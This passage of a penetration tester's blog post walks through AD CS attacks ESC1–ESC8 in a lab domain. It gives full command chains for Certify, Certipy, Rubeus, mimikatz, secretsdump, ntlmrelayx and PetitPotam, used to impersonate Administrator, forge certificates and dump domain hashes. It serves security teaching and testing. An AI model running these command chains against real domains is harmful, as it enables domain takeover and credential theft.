<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Get-ADObject -LDAPFilter '(&amp;(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2) (pkiextendedkeyusage=1.3.6.1.5.2.3.4))(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=1))' -SearchBase 'CN=Configuration,DC=mcafeelab,DC=local'
</code></pre></div></div>

<p><img src="/images/2022-09-16/ESC1_enum1.png" /></p>

<h4 id="certify">Certify</h4>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Certify.exe find /enrolleeSuppliesSubject
or
Certify.exe find /vulnerable /currentuser
</code></pre></div></div>

<p><img src="/images/2022-09-16/ESC1_enum2.png" /></p>

<h4 id="certipy">Certipy</h4>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>certipy find -u 'lowpriv@mcafeelab.local' -p 'low' -dc-ip '10.55.0.2' -stdout -vulnerable
</code></pre></div></div>

<p><img src="/images/2022-09-16/ESC1_enum3.png" /></p>

<h3 id="exploitation">Exploitation</h3>

<h4 id="manually-and-rubeus">Manually and Rubeus</h4>

<p>We can simply abuse this manually the GUI way with the help of <code class="language-plaintext highlighter-rouge">certmgr.msc</code>:<br />
<img src="/images/2022-09-16/ESC1_5.png" /></p>

<p>Specify our CN and as alternative name the UPN of the <code class="language-plaintext highlighter-rouge">Administrator@mcafeelab.local</code> user:<br />
<img src="/images/2022-09-16/ESC1_certreq.png" /></p>

<p>We now have a cert with <code class="language-plaintext highlighter-rouge">Administrator</code> as the SAN:<br />
<img src="/images/2022-09-16/ESC1_7.png" /></p>

<p>Export the cert as pfx:<br />
<img src="/images/2022-09-16/ESC1_certexport.png" /></p>

<p>Nicely ask the DC for a TGT with Rubeus and do a pass the ticket attack:</p>

<p><img src="/images/2022-09-16/chuck.png" /></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>.\Rubeus.exe asktgt /domain:mcafeelab.local /dc:dc2016-2.mcafeelab.local /user:Administrator /certificate:esc1.pfx /password:test /ptt
</code></pre></div></div>
<p><img src="/images/2022-09-16/ESC1_8.png" /></p>

<h4 id="certify-1">Certify</h4>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>.\Certify.exe request /ca:'DC2016-2.mcafeelab.local\mcafeelab-DC2016-2-CA-1' /template:"ESC1" /altname:"Administrator"
or
.\Certify.exe request /ca:'DC2016-2.mcafeelab.local\mcafeelab-DC2016-2-CA-1' /template:"ESC1" /altname:"Administrator" /install
</code></pre></div></div>

<p><img src="/images/2022-09-16/ESC1_exploit1.png" /></p>

<p>The <code class="language-plaintext highlighter-rouge">/install</code> flag will …</p>

<p><img src="/images/2022-09-16/drumroll.png" /></p>

<p>… install the requested cert to our current user’s cert store.<br />
This allows us to export the cert as described in <a href="#manually-and-rubeus">Manually and Rubeus</a> via the GUI, without the need for some linux / openSSL magic.</p>

<p>But we can of course go the openSSL route to create the cert:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>openssl pkcs12 -in cert -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx 
</code></pre></div></div>

<p><img src="/images/2022-09-16/ESC1_exploit2.png" /></p>

<p>and then let Rubeus do its magic.</p>

<h4 id="certipy-1">Certipy</h4>

<p>Certipy can be leveraged to request a ticket and fetch a TGT and get the pwnd user’s NT hash - Thank you Oliver for Certipy &lt;3</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>certipy req -u 'lowpriv@mcafeelab.local' -p 'low' -target 'dc2016-2.mcafeelab.local' -ca 'mcafeelab-DC2016-2-CA-1' -template 'ESC1' -upn 'Administrator@mcafeelab.local'
certipy auth -pfx 'administrator.pfx' -dc-ip '10.55.0.2' -username 'Administrator' -domain 'mcafeelab.local'
</code></pre></div></div>

<p>We can now do some PTH thingy to pwn the domain:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>secretsdump.py -just-dc -hashes 'aad3b435b514...:...f7207931' 'mcafeelab.local/Administrator@dc2016-2.mcafeelab.local' 
</code></pre></div></div>

<p><img src="/images/2022-09-16/ESC1_exploit3.png" /></p>

<h2 id="esc2">ESC2</h2>
<p>No matter how often I red through all the stuff I found regarding ESC2, I can’t wrap my head around it completely.<br />
It describes the case, where there is either the <code class="language-plaintext highlighter-rouge">Any purpose</code> EKU set, or no EKU at all (which would be called a SubCA cert), which utlimately would allow the cert to be used for anything we like. Also low priv users need enrollment rights and no manager approval is in place.<br />
It is however not abusable like ESC1, if we can’t specifiy the SAN.<br />
A cert with no EKU could additionally be used to sign other certs. Unfortunately these can’t be used for domain auth by default, as the <code class="language-plaintext highlighter-rouge">NTAuthCertificates</code>(see p. 14 of the whitepaper) object won’t trust them.<br />
<del>So the abuse cases are not clear to me. We might stumble upon a cert in a forgotten folder of some other user, maybe. But we are not able to request them. The thing that comes to my mind is relaying, and that might actually work.</del><br />
UPDATE:  After releasing the blog, Oliver reached out to me and helped me at quite some topics regarding ADCS. In this case you can abuse ESC2 exactly like <a href="#esc3">ESC3</a>, if the templates you want to target are <code class="language-plaintext highlighter-rouge">Schema Version 1</code>, which is true for all the default templates (like <code class="language-plaintext highlighter-rouge">Doman Controller</code>, <code class="language-plaintext highlighter-rouge">Client</code>, <code class="language-plaintext highlighter-rouge">Computer</code> and so on).</p>

<p>Will and Lee at least gave us a tip on how to search for them.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Get-ADObject -LDAPFilter '(&amp;(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=2.5.29.37.0
)(!(pkiextendedkeyusag=*))))'  
</code></pre></div></div>
<p>This did not work in my environment. Shortening the query a bit, at least narrowed down the results:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Get-ADObject -LDAPFilter '(&amp;(objectclass=pkicertificatetemplate)(pkiextendedkeyusage=2.5.29.37.0))' -SearchBase 'CN=Configuration,DC=mcafeelab,DC=local' 
</code></pre></div></div>

<p><img src="/images/2022-09-16/ESC2_enum2.png" /></p>

<p>But you can still just use the before mentioned tools and search for the according attribute:</p>

<p><img src="/images/2022-09-16/ESC2_enum1.png" /></p>

<h2 id="esc3">ESC3</h2>
<p>Here we are facing a cert template with the <code class="language-plaintext highlighter-rouge">Certificate Request Agent</code> EKU (OID 1.3.6.1.4.1.311.20.2.1). A cert issued from this template enables us to request a cert on behalf of any user, by co-signing a new CSR for a template that allows for <code class="language-plaintext highlighter-rouge">enroll on behalf of</code> (reminds me of the delegation brainfuck :) ).<br />
For this to work, we obviously need to meet two conditions:</p>
<ol>
  <li>Low priv user enrollment rights, no manager approval, <code class="language-plaintext highlighter-rouge">Certificate Request Agent</code> EKU is defined</li>
  <li>Low priv user enrollment rights, no manager approval, issuing requires <code class="language-plaintext highlighter-rouge">Certificate Request Agent</code> cert, template allows for domain auth</li>
</ol>

<h3 id="what-it-looks-like-in-ad-1">What it looks like in AD</h3>

<p><img src="/images/2022-09-16/ESC3_info1.png" /></p>

<p><img src="/images/2022-09-16/ESC3_info3.png" /></p>

<h3 id="recon-1">Recon</h3>

<p>Look out for the afore mentioned prerequisits. However Certify and Certipy did not recognize the 2nd prerequisit matching templates as vulnerable. You can find them as follows:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Get-ADObject -LDAPFilter '(&amp;(objectclass=pkicertificatetemplate)(msPKI-RA-Application-Policies=1.3.6.1.4.1.311.20.2.1)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2))' -SearchBase 'CN=Configuration,DC=mcafeelab,DC=local'
</code></pre></div></div>
<p><img src="/images/2022-09-16/ESC3_enum2.png" /></p>

<p>I opened a <a href="https://github.com/GhostPack/Certify/pull/22">pull request</a> for Certify. Could also quickly be done for Certipy I guess, but man I have to get this blog post rolling.<br />
Please be aware that, due to some code changes (not related to my PR, as this also happens without it), the output is mangled up:</p>

<p><img src="/images/2022-09-16/esc3_mangled.png" /></p>

<h4 id="certify-2">Certify</h4>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> .\Certify.exe find
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">/vulnerable</code> would give me the first template, the 2nd one however did not pop up, which makes no sense, as it won’t be abusable if not both templates are available.</p>

<p><img src="/images/2022-09-16/ESC3_info4.png" /></p>

<h4 id="certipy-2">Certipy</h4>

<p>Same situation as with Certify, only the first required template is found and flagged:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>certipy find -u 'lowpriv@mcafeelab.local' -p 'low' -dc-ip '10.55.0.2' -stdout -vulnerable 
</code></pre></div></div>
<p><img src="/images/2022-09-16/ESC3_enum1.png" /></p>

<h3 id="exploitation-1">Exploitation</h3>

<p>Well, strange issues here again. If I happened to specify the <code class="language-plaintext highlighter-rouge">onbehalfof</code> parameter in both tools, I would get an error if I used <code class="language-plaintext highlighter-rouge">mcafeelab.local\Administrator</code>. Leaving away the <code class="language-plaintext highlighter-rouge">.local</code> part works like a charm:</p>

<p><img src="/images/2022-09-16/ESC3_exploit1.png" /></p>

<p><img src="/images/2022-09-16/ESC3_exploit2.png" /></p>

<h4 id="certify-3">Certify</h4>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>.\Certify.exe request /ca:'DC2016-2.mcafeelab.local\mcafeelab-DC2016-2-CA-1' /template:"ESC3_1" /install
.\Certify.exe request /ca:'DC2016-2.mcafeelab.local\mcafeelab-DC2016-2-CA-1' /template:ESC3_2 /onbehalfof:mcafeelab\god /enrollcert:ESC3_1.pfx /enrollcertpw:'Pillemann123!'
openssl pkcs12 -in cert -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx  
.\Rubeus.exe asktgt /domain:mcafeelab.local /dc:dc2016-2.mcafeelab.local /user:Administrator /certificate:esc3_2.pfx /password:test /ptt
</code></pre></div></div>
<p><img src="/images/2022-09-16/ESC3_exploit4.png" /></p>

<p><img src="/images/2022-09-16/ESC3_exploit3.png" /></p>

<h4 id="certipy-3">Certipy</h4>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>certipy req -u 'lowpriv@mcafeelab.local' -p 'low' -target 'dc2016-2.mcafeelab.local' -ca 'mcafeelab-DC2016-2-CA-1' -template 'ESC3_1'
certipy req -u 'lowpriv@mcafeelab.local' -p 'low' -target 'dc2016-2.mcafeelab.local' -ca 'mcafeelab-DC2016-2-CA-1' -template 'ESC3_2' -on-behalf-of 'mcafeelab\Administrator' -pfx lowpriv.pfx
certipy auth -pfx 'administrator.pfx' -dc-ip '10.55.0.2' -username 'Administrator' -domain 'mcafeelab.local'
secretsdump.py -just-dc -hashes 'aad3b435b514...:...f7207931' 'mcafeelab.local/Administrator@dc2016-2.mcafeelab.local'
</code></pre></div></div>

<h2 id="esc4">ESC4</h2>

<p>This one is fun because it happens when someone fucked up with the ACLs on the AD object -&gt; you can alter the template with an unintended user. This might ultimately end up in a situation where we can compromise an otherwise unabusable template.</p>

<p><img src="/images/2022-09-16/certs_meme.png" /></p>

<p>This is abusable if we have write or full access to a template!</p>

<h3 id="what-it-looks-like-in-ad-2">What it looks like in AD</h3>

<p><img src="/images/2022-09-16/ESC4_recon3.png" /></p>

<h3 id="recon-2">Recon</h3>

<h4 id="certify-4">Certify</h4>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> .\Certify.exe find -vulnerable
</code></pre></div></div>

<p><img src="/images/2022-09-16/ESC4_recon1.png" /></p>

<h4 id="certipy-4">Certipy</h4>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>certipy find -u 'lowpriv@mcafeelab.local' -p 'low' -dc-ip '10.55.0.2' -stdout -vulnerable 
</code></pre></div></div>
<p><img src="/images/2022-09-16/ESC4_recon2.png" /></p>

<h3 id="exploitation-2">Exploitation</h3>

<p>Well in this case we can’t work with Certify <del>or Certipy</del> (see below update) alone, because we need to alter the AD object / cert template. For this reason we are going to use <a href="https://twitter.com/harmj0y">Will’s</a> <a href="https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1">PowerView</a> or <a href="https://fortalicesolutions.com/">Fortalice Solutions’s</a> <a href="https://github.com/fortalice/modifyCertTemplate">modifyCertTemplate</a> respectively.</p>

<h4 id="powerview--certify">PowerView &amp; Certify</h4>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># Give users enrollment rights  
Add-DomainObjectAcl -TargetIdentity ESC4 -PrincipalIdentity "Domänen-Benutzer" -RightsGUID "0e10c968-78fb-11d2-90d4-00c04f79dc55" -TargetSearchBase "LDAP://CN=Configuration,DC=mcafeelab,DC=local" -Verbose  
</code></pre></div></div>
<p><img src="/images/2022-09-16/ESC4_enrollset.png" /></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># Disable manager approval
Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=mcafeelab,DC=local" -Identity ESC4 -XOR @{'mspki-enrollment-flag'=2} -Verbose

# Disable signature required
Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=mcafeelab,DC=local" -Identity ESC4 -Set @{'mspki-ra-signature'=0} -Verbose

# Enable enrollee supplies subject
Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=mcafeelab,DC=local" -Identity ESC4 -XOR @{'mspki-certificate-name-flag'=1} -Verbose

# Set application policy extension to client authentication
Set-DomainObject -SearchBase "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=mcafeelab,DC=local" -Identity ESC4 -Set @{'mspki-certificate-application-policy'='1.3.6.1.5.5.7.3.2'} -Verbose

</code></pre></div></div>
<p><img src="/images/2022-09-16/ESC4_exploit1.png" /></p>

<p>Before and after altering the cert template:<br />
<img src="/images/2022-09-16/ESC4_beforeafter.png" /></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># PWN
.\Certify.exe request /ca:'DC2016-2.mcafeelab.local\mcafeelab-DC2016-2-CA-1' /template:"ESC4" /altname:"Administrator" /install

# Export the cert

.\Rubeus.exe asktgt /domain:mcafeelab.local /dc:dc2016-2.mcafeelab.local /user:Administrator /certificate:esc4.pfx /password:test /ptt
</code></pre></div></div>

<h4 id="certipy-5">Certipy</h4>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>certipy req -u 'lowpriv@mcafeelab.local' -p 'low' -target 'dc2016-2.mcafeelab.local' -ca 'mcafeelab-DC2016-2-CA-1' -template 'ESC4' -upn 'Administrator@mcafeelab.local'
certipy auth -pfx 'administrator.pfx' -dc-ip '10.55.0.2' -username 'Administrator' -domain 'mcafeelab.local'
secretsdump.py -just-dc -hashes 'aad3b435b514...:...f7207931' 'mcafeelab.local/Administrator@dc2016-2.mcafeelab.local'  
</code></pre></div></div>

<p>UPDATE: Well, again I was wrong, and Oliver added a standalone approach:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>certipy template -u 'lowpriv@mcafeelab.local' -p 'low' -target 'dc2016-2.mcafeelab.local' -template 'ESC4_1'
</code></pre></div></div>

<p><img src="/images/2022-09-16/esc4_exploit99.png" /></p>

<p>This will make the template vulnerable to <a href="#esc1">ESC1</a><br />
Before and after Certipy pwnage:</p>

<p><img src="/images/2022-09-16/esc4_exploit100.png" /></p>

<p>If you are on an engeagement, you might want to use the <code class="language-plaintext highlighter-rouge">-safe-old</code> switch to save the before-version and preserve teh ability to roll back the settings, once you have abused the template.<br />
More on this on Oliver`s <a href="https://research.ifcr.dk/certipy-2-0-bloodhound-new-escalations-shadow-credentials-golden-certificates-and-more-34d1c26f0dc6">blog</a>.</p>

<h2 id="esc5">ESC5</h2>

<p>This case describes all other possible scenarios around ACLs. Which might include:</p>

<ul>
  <li>Pwning the CA server itself to tamper around with templates and stuff, through maybe RBCD attack or a direct way like local admin</li>
  <li>ACLs wrongly set somewhere up the line in AD - maybe where some set descendant rights somewhere in the config tree</li>
  <li>The CA server’s RPC/DCOM server</li>
  <li>…</li>
</ul>

<p><img src="/images/2022-09-16/esc5_1.png" /></p>

<p><del>There is no direct abuse path, but you can use the before mentioned stuff as a guideline on how to proceed if this stuff here happens.</del><br />
UPDATE: Shortly after my release I stumbled upon <a href="https://twitter.com/n00py1">n00py’s</a> tweet about ways to abuse a pwnd PKI server: <a href="https://twitter.com/n00py1/status/1574423470640873472">https://twitter.com/n00py1/status/1574423470640873472</a>.<br />
The answer to success was the golden cert attack, which is described here: <a href="https://pentestlab.blog/2021/11/15/golden-certificate/">https://pentestlab.blog/2021/11/15/golden-certificate/</a>.<br />
So if we pwn a PKI server (local admin is sufficient) we can forge a cert for everyone we like - even offline, like it is done with the golden ticket attack for Kerberos.</p>

<h3 id="exploitation-3">Exploitation</h3>

<h4 id="gui-style-with-mimikatz">GUI style with mimikatz</h4>

<p>We can use Mimikatz to forge certs directly on the CA server for any user for us if we are local admin:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>crypto::scauth /caname:mcafeelab-DC2016-2-CA-1 /upn:Administrator@mcafeelab.local
</code></pre></div></div>

<p><img src="/images/2022-09-16/esc5_exploit.png" /></p>

<p>Afterwards we can export the cert and use it to authenticate like described in e.g. <a href="#esc1">ESC1</a>.</p>

<p>We can alternatively export the CAs cert and key manually.<br />
RDP to the server as admin, open <code class="language-plaintext highlighter-rouge">certsrv.msc</code> and trigger the <code class="language-plaintext highlighter-rouge">Backup up CA</code> function:</p>

<p><img src="/images/2022-09-16/esc5_exploit1.png" /></p>

<p>Select to export the private key and CA cert, to fetch the according <code class="language-plaintext highlighter-rouge">p12</code> file:</p>

<p><img src="/images/2022-09-16/esc5_exploit2.png" /></p>

<p>You can now use tools like <a href="https://github.com/GhostPack/ForgeCert">ForgeCert</a> or Certipy to go on.</p>

<h4 id="certipy-6">Certipy</h4>

<p>As for mostly all cases, Oliver automated the abuse capability in Certipy. If you owned a user which is admin on the CA just do:</p>

<p>Backup the CA cert</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>certipy ca -backup -u 'localadmin' -p 'test' -target 'dc2016-2.mcafeelab.local' -ca 'mcafeelab-DC2016-2-CA-1'
</code></pre></div></div>

<p>Forge a cert to whom we want to:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>certipy forge -ca-pfx mcafeelab-DC2016-2-CA-1.pfx -upn god@mcafeelab.local -subject 'CN=god,CN=Users,DC=mcafeelab,DC=local'
</code></pre></div></div>

<p>And authenticate as that user:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>certipy auth -pfx 'god_forged.pfx' -dc-ip '10.55.0.2'
</code></pre></div></div>

<p><img src="/images/2022-09-16/esc5_exploit3.png" /></p>

<h2 id="esc6">ESC6</h2>

<p>Here we are talking about a CA specific setting which is the <code class="language-plaintext highlighter-rouge">EDITF_ATTRIBUTESUBJECTALTNAME2</code> flag.<br />
This setting allows us, even when the template is set to build the subject name from the AD object, to specify a Subject Alternative Name.<br />
This also means, that EVERY template for authentication is pwnable, when this flag is set.<br />
This was fixed by Microsoft in the patch for CVE-2022–26923 (may still be worth looking for).</p>

<h3 id="recon-3">Recon</h3>

<h4 id="certutil">Certutil</h4>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>certutil -config "DC2016-2.mcafeelab.local\mcafeelab-DC2016-2-CA-1" -getreg policy\EditFlags
</code></pre></div></div>
<p><img src="/images/2022-09-16/esc6_recon1.png" /></p>

<h4 id="certify-5">Certify</h4>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>.\Certify.exe find
</code></pre></div></div>
<p><img src="/images/2022-09-16/esc6_recon2.png" /></p>

<h4 id="certipy-7">Certipy</h4>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>certipy find -u 'lowpriv@mcafeelab.local' -p 'low' -dc-ip '10.55.0.2' -stdout -vulnerable
</code></pre></div></div>
<p><img src="/images/2022-09-16/esc6_recon3.png" /></p>

<h3 id="exploitation-4">Exploitation</h3>

<h4 id="certify-6">Certify</h4>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>.\Certify.exe request /ca:'DC2016-2.mcafeelab.local\mcafeelab-DC2016-2-CA-1' /template:"user" /altname:"god" /install
.\Rubeus.exe asktgt /domain:mcafeelab.local /dc:dc2016-2.mcafeelab.local /user:god /certificate:god.pfx /password:test /ptt
</code></pre></div></div>

<h4 id="certipy-8">Certipy</h4>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>certipy req -u 'lowpriv@mcafeelab.local' -p 'low' -target 'dc2016-2.mcafeelab.local' -ca 'mcafeelab-DC2016-2-CA-1' -template 'user' -upn 'ds@mcafeelab.local'
certipy auth -pfx 'ds.pfx' -dc-ip '10.55.0.2' -username 'ds' -domain 'mcafeelab.local'
</code></pre></div></div>

<h2 id="esc7">ESC7</h2>

<p>Here again we are talking about ACLs, this time on the CA itself. We can grant the rights to manage the CA as well as the ones to issue and manage certs:</p>

<p><img src="/images/2022-09-16/ESC7_1.png" /></p>

<p>Equipped with these rights, we can either directly alter the CA’s config, or approve pending requests.<br />
If we want to abuse all this shit on a Windows box, we need the <a href="https://www.powershellgallery.com/packages/PSPKI/3.7.2">PSPKI</a> PowerShell modules.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># If you run into problems to install it, enable TLS 1.2
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12

Install-Module -Name PSPKI
Import-Module PSPKI
</code></pre></div></div>

<h3 id="recon-4">Recon</h3>

<p>If we happen to have direct access to a CA, we can check just the settings from the introduction of this chapter.</p>

<h4 id="pspki">PSPKI</h4>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Get-CertificationAuthority -ComputerName dc2016-2.mcafeelab.local | Get-CertificationAuthorityAcl | select -ExpandProperty access
</code></pre></div></div>
<p><img src="/images/2022-09-16/ESC7_recon1.png" /></p>

<h3 id="exploitation-5">Exploitation</h3>

<p>If a user has the <code class="language-plaintext highlighter-rouge">Manage CA</code> rights, he can remotely edit the <code class="language-plaintext highlighter-rouge">EDITF_ATTRIBUTESUBJECTALTNAME2</code> - aka <a href="#esc6">ESC6</a> - to be able to specify a SAN for <strong>ALL</strong> authentication templates afterwards.</p>

<h4 id="pspki-1">PSPKI</h4>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># Get the current value of ``EDITF_ATTRIBUTESUBJECTALTNAME2``, modify it and check again
$configReader = New-Object SysadminsLV.PKI.Dcom.Implementations.CertSrvRegManagerD "dc2016-2.mcafeelab.local"
$configReader.SetRootNode($true)
$configReader.GetConfigEntry("EditFlags", "PolicyModules\CertificateAuthority_MicrosoftDefault.Policy")
$configReader.SetConfigEntry(1376590, "EditFlags", "PolicyModules\CertificateAuthority_MicrosoftDefault.Policy")

# Verify with certutil
certutil.exe -config "CA.domain.local\CA" -getreg "policy\EditFlags"
</code></pre></div></div>

<p><img src="/images/2022-09-16/esc7_exploit1.png" /></p>

<p>You can now stick to <a href="#esc6">ESC6</a>.</p>

<h4 id="certipy-9">Certipy</h4>

<p>Certipy can be used in this scenario to give a user the <code class="language-plaintext highlighter-rouge">Issue and Manage Certificates</code> right.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>certipy ca -u 'lowpriv@mcafeelab.local' -p 'low' -target 'dc2016-2.mcafeelab.local' -ca 'mcafeelab-DC2016-2-CA-1' -add-officer 'ds'
</code></pre></div></div>

<p><img src="/images/2022-09-16/esc7_exploit2.png" /></p>

<p><img src="/images/2022-09-16/esc7_exploit3.png" /></p>

<p>If a user has the <code class="language-plaintext highlighter-rouge">Issue and Manage Certificates</code> rights, he is able to approve pending requests, which allows us to “bypass” the manager approval function.</p>

<h4 id="certify-7">Certify</h4>

<ul>
  <li>Request a certificate that requires manager approval</li>
</ul>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>.\Certify.exe request /ca:'DC2016-2.mcafeelab.local\mcafeelab-DC2016-2-CA-1' /template:"ESC7" /altname:"god" /install
</code></pre></div></div>

<p><img src="/images/2022-09-16/esc7_exploit4.png" /></p>

<p>The request is pending, and we got an ID.</p>

<ul>
  <li>Approve the pending request with PSPKI</li>
</ul>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Get-CertificationAuthority -ComputerName dc2016-2.mcafeelab.local | Get-PendingRequest -RequestID 731 | Approve-CertificateRequest
</code></pre></div></div>

<p><img src="/images/2022-09-16/esc7_exploit5.png" /></p>

<ul>
  <li>Fetch the now approved cert</li>
</ul>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>.\Certify.exe download /ca:DC2016-2.mcafeelab.local\mcafeelab-DC2016-2-CA-1 /id:731
</code></pre></div></div>

<p><img src="/images/2022-09-16/esc7_exploit6.png" /></p>

<ul>
  <li>Copy togehter your RSA private key and the cert, and generate your pfx and pwn the world.</li>
</ul>

<h4 id="certipy-10">Certipy</h4>

<ul>
  <li>If not already availabe, enable the SubCA template (remember, this is the all purpose template). It should however be enabled by default.</li>
</ul>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>certipy ca -u 'lowpriv@mcafeelab.local' -p 'low' -target 'dc2016-2.mcafeelab.local' -ca 'mcafeelab-DC2016-2-CA-1' -enable-template SubCA
</code></pre></div></div>

<p><img src="/images/2022-09-16/esc7_exploit7.png" /></p>

<ul>
  <li>Try to request a cert based on the SubCA template which will obviously fail. Save the private key</li>
</ul>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>certipy req -u 'lowpriv@mcafeelab.local' -p 'low' -target 'dc2016-2.mcafeelab.local' -ca 'mcafeelab-DC2016-2-CA-1' -template subCA -upn administrator@mcafeelab.local
</code></pre></div></div>

<ul>
  <li>Approve the request with our superpowers</li>
</ul>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>certipy ca -u 'lowpriv@mcafeelab.local' -p 'low' -target 'dc2016-2.mcafeelab.local' -ca 'mcafeelab-DC2016-2-CA-1' -issue-request 732
</code></pre></div></div>

<ul>
  <li>Fetch the issued cert</li>
</ul>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>certipy req -u 'lowpriv@mcafeelab.local' -p 'low' -target 'dc2016-2.mcafeelab.local' -ca 'mcafeelab-DC2016-2-CA-1' -retrieve 732
</code></pre></div></div>

<p><img src="/images/2022-09-16/esc7_exploit8.png" /></p>

<p><img src="/images/2022-09-16/tada_meme.png" /></p>

<h2 id="esc8">ESC8</h2>

<p>Yeah, this was the one that initially got the most attention, and found it’s implementation in several tools that automated exploitation like impacket.<br />
It describes the fact that we can relay an authentication to the (default enabled and to be found at http://caserver/certsrv/) HTTP enrollment endpoint, and grab certs for the relayed identities in order to impersonate them.<br />
Suddenly coercion was a big thing again, and with the rise of PetitPotam and Co. things got really ugly.</p>

<h3 id="recon-5">Recon</h3>

<h4 id="certify-8">Certify</h4>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>.\Certify.exe cas
</code></pre></div></div>

<p><img src="/images/2022-09-16/esc8_recon1.png" /></p>

<h4 id="certutil-1">Certutil</h4>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>certutil.exe -enrollmentserverurl -config "dc2016-2.mcafeelab.local\mcafeelab-DC2016-2-CA-1"
</code></pre></div></div>

<h4 id="pspki-2">PSPKI</h4>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Get-CertificationAuthority | select name,enroll* | fl
</code></pre></div></div>

<h3 id="exploitation-6">Exploitation</h3>

<p>Coerce authentication (Dementor, Printerbug, Petitpotam, DFSCoerce, Coercer, …) or just wait. Relay with <a href="https://github.com/SecureAuthCorp/impacket">ntlmrelayx</a>.</p>

<p><strong>Whatever you read, if you want to pwn a DC -&gt; specify the template <code class="language-plaintext highlighter-rouge">Domain Controller</code> Otherwise it wouldn’t work for me. Impacket uses the <code class="language-plaintext highlighter-rouge">Machine</code> template by default, and this can’t be used by a DC for authentication.</strong></p>

<p><img src="/images/2022-09-16/onedoes_meme.png" /></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>./ntlmrelayx.py -t "http://DC2016-2.mcafeelab.local/certsrv/certfnsh.asp" --adcs -smb2support --template "Domain Controller"
python PetitPotam.py -u lowpriv -p low -d mcafeelab.local 10.55.0.30 10.55.0.1
.\Rubeus.exe asktgt /user:dc2016$ /ptt /certificate:MIIRnQIBAzCCEWcGCSq&lt;snip&gt;
</code></pre></div></div>

<p><img src="/images/2022-09-16/esc8_exploit1.png" /></p>

<p><img src="/images/2022-09-16/esc8_exploit2.png" /></p>

<p><img src="/images/2022-09-16/esc8_exploit3.png" /></p>

